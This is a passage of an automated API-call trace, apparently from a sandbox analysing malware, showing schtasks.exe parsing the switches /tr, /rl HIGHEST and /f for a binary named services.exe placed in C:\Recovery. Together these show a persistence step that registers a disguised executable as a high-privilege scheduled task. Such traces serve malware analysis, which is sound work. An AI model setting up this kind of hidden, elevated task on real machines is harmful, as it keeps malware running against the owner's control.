_Buf2=0xff081b08, _Size=0x7) returned 0 [0060.020] lstrlenW (lpString="tr") returned 2 [0060.020] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.020] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0060.020] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0060.020] lstrlenW (lpString="|create|") returned 8 [0060.020] lstrlenW (lpString="|tr|") returned 4 [0060.021] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0060.021] SetLastError (dwErrCode=0x490) [0060.021] lstrlenW (lpString="delete") returned 6 [0060.021] lstrlenW (lpString="delete") returned 6 [0060.021] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.021] lstrlenW (lpString="tr") returned 2 [0060.021] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.021] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|delete|") returned 8 [0060.021] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0060.021] lstrlenW (lpString="|delete|") returned 8 [0060.021] lstrlenW (lpString="|tr|") returned 4 [0060.021] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0060.021] SetLastError (dwErrCode=0x490) [0060.022] lstrlenW (lpString="query") returned 5 [0060.022] lstrlenW (lpString="query") returned 5 [0060.022] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.022] lstrlenW (lpString="tr") returned 2 [0060.022] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.022] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|query|") returned 7 [0060.022] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0060.022] lstrlenW (lpString="|query|") returned 7 [0060.022] lstrlenW (lpString="|tr|") returned 4 [0060.022] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0060.022] SetLastError (dwErrCode=0x490) [0060.022] lstrlenW (lpString="change") returned 6 [0060.022] lstrlenW (lpString="change") returned 6 [0060.022] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.022] lstrlenW (lpString="tr") returned 2 [0060.022] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.022] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|change|") returned 8 [0060.022] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0060.022] lstrlenW (lpString="|change|") returned 8 [0060.022] lstrlenW (lpString="|tr|") returned 4 [0060.022] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0060.022] SetLastError (dwErrCode=0x490) [0060.022] lstrlenW (lpString="run") returned 3 [0060.022] lstrlenW (lpString="run") returned 3 [0060.023] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.023] lstrlenW (lpString="tr") returned 2 [0060.023] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.023] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|run|") returned 5 [0060.023] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0060.023] lstrlenW (lpString="|run|") returned 5 [0060.023] lstrlenW (lpString="|tr|") returned 4 [0060.023] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0060.023] SetLastError (dwErrCode=0x490) [0060.023] lstrlenW (lpString="end") returned 3 [0060.023] lstrlenW (lpString="end") returned 3 [0060.023] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.023] lstrlenW (lpString="tr") returned 2 [0060.023] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.023] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|end|") returned 5 [0060.023] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0060.023] lstrlenW (lpString="|end|") returned 5 [0060.023] lstrlenW (lpString="|tr|") returned 4 [0060.023] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0060.023] SetLastError (dwErrCode=0x490) [0060.023] lstrlenW (lpString="showsid") returned 7 [0060.023] lstrlenW (lpString="showsid") returned 7 [0060.023] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.023] lstrlenW (lpString="tr") returned 2 [0060.024] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.024] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|showsid|") returned 9 [0060.024] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0060.024] lstrlenW (lpString="|showsid|") returned 9 [0060.024] lstrlenW (lpString="|tr|") returned 4 [0060.024] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0060.024] SetLastError (dwErrCode=0x490) [0060.024] SetLastError (dwErrCode=0x490) [0060.024] SetLastError (dwErrCode=0x0) [0060.024] lstrlenW (lpString="/tr") returned 3 [0060.024] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0060.024] SetLastError (dwErrCode=0x490) [0060.024] SetLastError (dwErrCode=0x0) [0060.024] lstrlenW (lpString="/tr") returned 3 [0060.024] GetProcessHeap () returned 0xc0000 [0060.024] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x8) returned 0xdc450 [0060.024] GetProcessHeap () returned 0xc0000 [0060.024] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdce50 [0060.024] SetLastError (dwErrCode=0x0) [0060.024] SetLastError (dwErrCode=0x0) [0060.024] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.024] lstrlenW (lpString="-/") returned 2 [0060.024] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0060.024] SetLastError (dwErrCode=0x490) [0060.024] SetLastError (dwErrCode=0x490) [0060.025] SetLastError (dwErrCode=0x0) [0060.025] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.025] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'" [0060.025] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.025] GetProcessHeap () returned 0xc0000 [0060.025] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdc470 [0060.025] _memicmp (_Buf1=0xdc470, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.025] GetProcessHeap () returned 0xc0000 [0060.025] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0xe) returned 0xdc490 [0060.025] GetProcessHeap () returned 0xc0000 [0060.025] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdd680 [0060.025] _memicmp (_Buf1=0xdd680, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.025] GetProcessHeap () returned 0xc0000 [0060.025] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x82) returned 0xdde50 [0060.025] SetLastError (dwErrCode=0x7a) [0060.025] SetLastError (dwErrCode=0x0) [0060.025] SetLastError (dwErrCode=0x0) [0060.025] lstrlenW (lpString="'C") returned 2 [0060.025] lstrlenW (lpString="-/") returned 2 [0060.025] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0060.025] SetLastError (dwErrCode=0x490) [0060.025] SetLastError (dwErrCode=0x490) [0060.025] SetLastError (dwErrCode=0x0) [0060.025] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.025] GetProcessHeap () returned 0xc0000 [0060.025] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x80) returned 0xddee0 [0060.025] GetProcessHeap () returned 0xc0000 [0060.026] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdce80 [0060.026] SetLastError (dwErrCode=0x0) [0060.026] SetLastError (dwErrCode=0x0) [0060.026] lstrlenW (lpString="/rl") returned 3 [0060.026] lstrlenW (lpString="-/") returned 2 [0060.026] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.026] lstrlenW (lpString="?") returned 1 [0060.026] lstrlenW (lpString="?") returned 1 [0060.026] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.026] lstrlenW (lpString="rl") returned 2 [0060.026] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.026] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0060.026] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0060.026] lstrlenW (lpString="|?|") returned 3 [0060.026] lstrlenW (lpString="|rl|") returned 4 [0060.026] SetLastError (dwErrCode=0x490) [0060.026] lstrlenW (lpString="create") returned 6 [0060.026] lstrlenW (lpString="create") returned 6 [0060.026] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.026] lstrlenW (lpString="rl") returned 2 [0060.026] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.026] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0060.026] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0060.026] lstrlenW (lpString="|create|") returned 8 [0060.027] lstrlenW (lpString="|rl|") returned 4 [0060.027] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0060.027] SetLastError (dwErrCode=0x490) [0060.027] lstrlenW (lpString="delete") returned 6 [0060.027] lstrlenW (lpString="delete") returned 6 [0060.027] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.027] lstrlenW (lpString="rl") returned 2 [0060.027] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.027] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|delete|") returned 8 [0060.027] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0060.027] lstrlenW (lpString="|delete|") returned 8 [0060.027] lstrlenW (lpString="|rl|") returned 4 [0060.027] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0060.027] SetLastError (dwErrCode=0x490) [0060.027] lstrlenW (lpString="query") returned 5 [0060.027] lstrlenW (lpString="query") returned 5 [0060.027] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.027] lstrlenW (lpString="rl") returned 2 [0060.027] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.027] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|query|") returned 7 [0060.027] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0060.027] lstrlenW (lpString="|query|") returned 7 [0060.027] lstrlenW (lpString="|rl|") returned 4 [0060.027] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0060.027] SetLastError (dwErrCode=0x490) [0060.028] lstrlenW (lpString="change") returned 6 [0060.028] lstrlenW (lpString="change") returned 6 [0060.028] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.028] lstrlenW (lpString="rl") returned 2 [0060.028] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.028] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|change|") returned 8 [0060.028] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0060.028] lstrlenW (lpString="|change|") returned 8 [0060.028] lstrlenW (lpString="|rl|") returned 4 [0060.028] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0060.028] SetLastError (dwErrCode=0x490) [0060.028] lstrlenW (lpString="run") returned 3 [0060.028] lstrlenW (lpString="run") returned 3 [0060.028] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.028] lstrlenW (lpString="rl") returned 2 [0060.028] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.028] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|run|") returned 5 [0060.028] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0060.028] lstrlenW (lpString="|run|") returned 5 [0060.028] lstrlenW (lpString="|rl|") returned 4 [0060.028] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0060.028] SetLastError (dwErrCode=0x490) [0060.028] lstrlenW (lpString="end") returned 3 [0060.028] lstrlenW (lpString="end") returned 3 [0060.028] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.029] lstrlenW (lpString="rl") returned 2 [0060.029] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.029] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|end|") returned 5 [0060.029] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0060.029] lstrlenW (lpString="|end|") returned 5 [0060.029] lstrlenW (lpString="|rl|") returned 4 [0060.029] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0060.029] SetLastError (dwErrCode=0x490) [0060.029] lstrlenW (lpString="showsid") returned 7 [0060.029] lstrlenW (lpString="showsid") returned 7 [0060.029] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.029] lstrlenW (lpString="rl") returned 2 [0060.029] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.029] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|showsid|") returned 9 [0060.029] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0060.029] lstrlenW (lpString="|showsid|") returned 9 [0060.029] lstrlenW (lpString="|rl|") returned 4 [0060.029] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0060.029] SetLastError (dwErrCode=0x490) [0060.029] SetLastError (dwErrCode=0x490) [0060.029] SetLastError (dwErrCode=0x0) [0060.029] lstrlenW (lpString="/rl") returned 3 [0060.029] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0060.029] SetLastError (dwErrCode=0x490) [0060.030] SetLastError (dwErrCode=0x0) [0060.030] lstrlenW (lpString="/rl") returned 3 [0060.030] GetProcessHeap () returned 0xc0000 [0060.030] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x8) returned 0xddf70 [0060.030] GetProcessHeap () returned 0xc0000 [0060.030] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdceb0 [0060.030] SetLastError (dwErrCode=0x0) [0060.030] SetLastError (dwErrCode=0x0) [0060.030] lstrlenW (lpString="HIGHEST") returned 7 [0060.030] lstrlenW (lpString="-/") returned 2 [0060.030] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0060.030] SetLastError (dwErrCode=0x490) [0060.030] SetLastError (dwErrCode=0x490) [0060.030] SetLastError (dwErrCode=0x0) [0060.030] lstrlenW (lpString="HIGHEST") returned 7 [0060.030] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0060.030] SetLastError (dwErrCode=0x490) [0060.030] SetLastError (dwErrCode=0x0) [0060.030] lstrlenW (lpString="HIGHEST") returned 7 [0060.030] GetProcessHeap () returned 0xc0000 [0060.030] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x10) returned 0xdd6a0 [0060.030] GetProcessHeap () returned 0xc0000 [0060.030] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcee0 [0060.030] SetLastError (dwErrCode=0x0) [0060.030] SetLastError (dwErrCode=0x0) [0060.030] lstrlenW (lpString="/f") returned 2 [0060.030] lstrlenW (lpString="-/") returned 2 [0060.030] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.030] lstrlenW (lpString="?") returned 1 [0060.031] lstrlenW (lpString="?") returned 1 [0060.031] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.031] lstrlenW (lpString="f") returned 1 [0060.031] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.031] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0060.031] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0060.031] lstrlenW (lpString="|?|") returned 3 [0060.031] lstrlenW (lpString="|f|") returned 3 [0060.031] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0060.031] SetLastError (dwErrCode=0x490) [0060.031] lstrlenW (lpString="create") returned 6 [0060.031] lstrlenW (lpString="create") returned 6 [0060.031] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.031] lstrlenW (lpString="f") returned 1 [0060.031] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.031] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0060.031] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0060.031] lstrlenW (lpString="|create|") returned 8 [0060.031] lstrlenW (lpString="|f|") returned 3 [0060.031] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0060.031] SetLastError (dwErrCode=0x490) [0060.031] lstrlenW (lpString="delete") returned 6 [0060.031] lstrlenW (lpString="delete") returned 6 [0060.031] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.032] lstrlenW (lpString="f") returned 1 [0060.032] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.032] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|delete|") returned 8 [0060.032] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0060.032] lstrlenW (lpString="|delete|") returned 8 [0060.032] lstrlenW (lpString="|f|") returned 3 [0060.032] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0060.032] SetLastError (dwErrCode=0x490) [0060.032] lstrlenW (lpString="query") returned 5 [0060.032] lstrlenW (lpString="query") returned 5 [0060.032] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.032] lstrlenW (lpString="f") returned 1 [0060.032] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.032] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|query|") returned 7 [0060.032] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0060.032] lstrlenW (lpString="|query|") returned 7 [0060.032] lstrlenW (lpString="|f|") returned 3 [0060.032] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0060.032] SetLastError (dwErrCode=0x490) [0060.032] lstrlenW (lpString="change") returned 6 [0060.032] lstrlenW (lpString="change") returned 6 [0060.032] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.032] lstrlenW (lpString="f") returned 1 [0060.032] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.033] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|change|") returned 8 [0060.033] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0060.033] lstrlenW (lpString="|change|") returned 8 [0060.033] lstrlenW (lpString="|f|") returned 3 [0060.033] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0060.033] SetLastError (dwErrCode=0x490) [0060.033] lstrlenW (lpString="run") returned 3 [0060.033] lstrlenW (lpString="run") returned 3 [0060.033] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.033] lstrlenW (lpString="f") returned 1 [0060.033] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.033] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|run|") returned 5 [0060.033] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0060.033] lstrlenW (lpString="|run|") returned 5 [0060.033] lstrlenW (lpString="|f|") returned 3 [0060.033] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0060.033] SetLastError (dwErrCode=0x490) [0060.033] lstrlenW (lpString="end") returned 3 [0060.033] lstrlenW (lpString="end") returned 3 [0060.033] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.033] lstrlenW (lpString="f") returned 1 [0060.033] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.033] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|end|") returned 5 [0060.034] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0060.034] lstrlenW (lpString="|end|") returned 5 [0060.034] lstrlenW (lpString="|f|") returned 3 [0060.034] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0060.034] SetLastError (dwErrCode=0x490) [0060.034] lstrlenW (lpString="showsid") returned 7 [0060.034] lstrlenW (lpString="showsid") returned 7 [0060.034] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.034] lstrlenW (lpString="f") returned 1 [0060.034] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.034] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|showsid|") returned 9 [0060.034] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0060.034] lstrlenW (lpString="|showsid|") returned 9 [0060.034] lstrlenW (lpString="|f|") returned 3 [0060.034] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0060.034] SetLastError (dwErrCode=0x490) [0060.034] SetLastError (dwErrCode=0x490) [0060.034] SetLastError (dwErrCode=0x0) [0060.034] lstrlenW (lpString="/f") returned 2 [0060.034] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0060.034] SetLastError (dwErrCode=0x490) [0060.034] SetLastError (dwErrCode=0x0) [0060.034] lstrlenW (lpString="/f") returned 2 [0060.034] GetProcessHeap () returned 0xc0000 [0060.034] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x6) returned 0xddf90 [0060.034] GetProcessHeap () returned 0xc0000 [0060.035] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcf10 [0060.035] SetLastError (dwErrCode=0x0) [0060.035] GetProcessHeap () returned 0xc0000 [0060.035] GetProcessHeap () returned 0xc0000 [0060.035] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc360) returned 1 [0060.035] GetProcessHeap () returned 0xc0000 [0060.035] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc360) returned 0x8 [0060.035] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc360 | out: hHeap=0xc0000) returned 1 [0060.035] GetProcessHeap () returned 0xc0000 [0060.035] GetProcessHeap () returned 0xc0000 [0060.035] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcd90) returned 1 [0060.035] GetProcessHeap () returned 0xc0000 [0060.035] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcd90) returned 0x20 [0060.035] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcd90 | out: hHeap=0xc0000) returned 1 [0060.035] GetProcessHeap () returned 0xc0000 [0060.035] GetProcessHeap () returned 0xc0000 [0060.036] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc3f0) returned 1 [0060.036] GetProcessHeap () returned 0xc0000 [0060.036] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc3f0) returned 0x12 [0060.036] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc3f0 | out: hHeap=0xc0000) returned 1 [0060.036] GetProcessHeap () returned 0xc0000 [0060.036] GetProcessHeap () returned 0xc0000 [0060.036] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcdc0) returned 1 [0060.036] GetProcessHeap () returned 0xc0000 [0060.036] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcdc0) returned 0x20 [0060.036] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcdc0 | out: hHeap=0xc0000) returned 1 [0060.036] GetProcessHeap () returned 0xc0000 [0060.036] GetProcessHeap () returned 0xc0000 [0060.036] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc410) returned 1 [0060.036] GetProcessHeap () returned 0xc0000 [0060.036] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc410) returned 0x8 [0060.067] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc410 | out: hHeap=0xc0000) returned 1 [0060.067] GetProcessHeap () returned 0xc0000 [0060.067] GetProcessHeap () returned 0xc0000 [0060.067] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcdf0) returned 1 [0060.067] GetProcessHeap () returned 0xc0000 [0060.067] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, 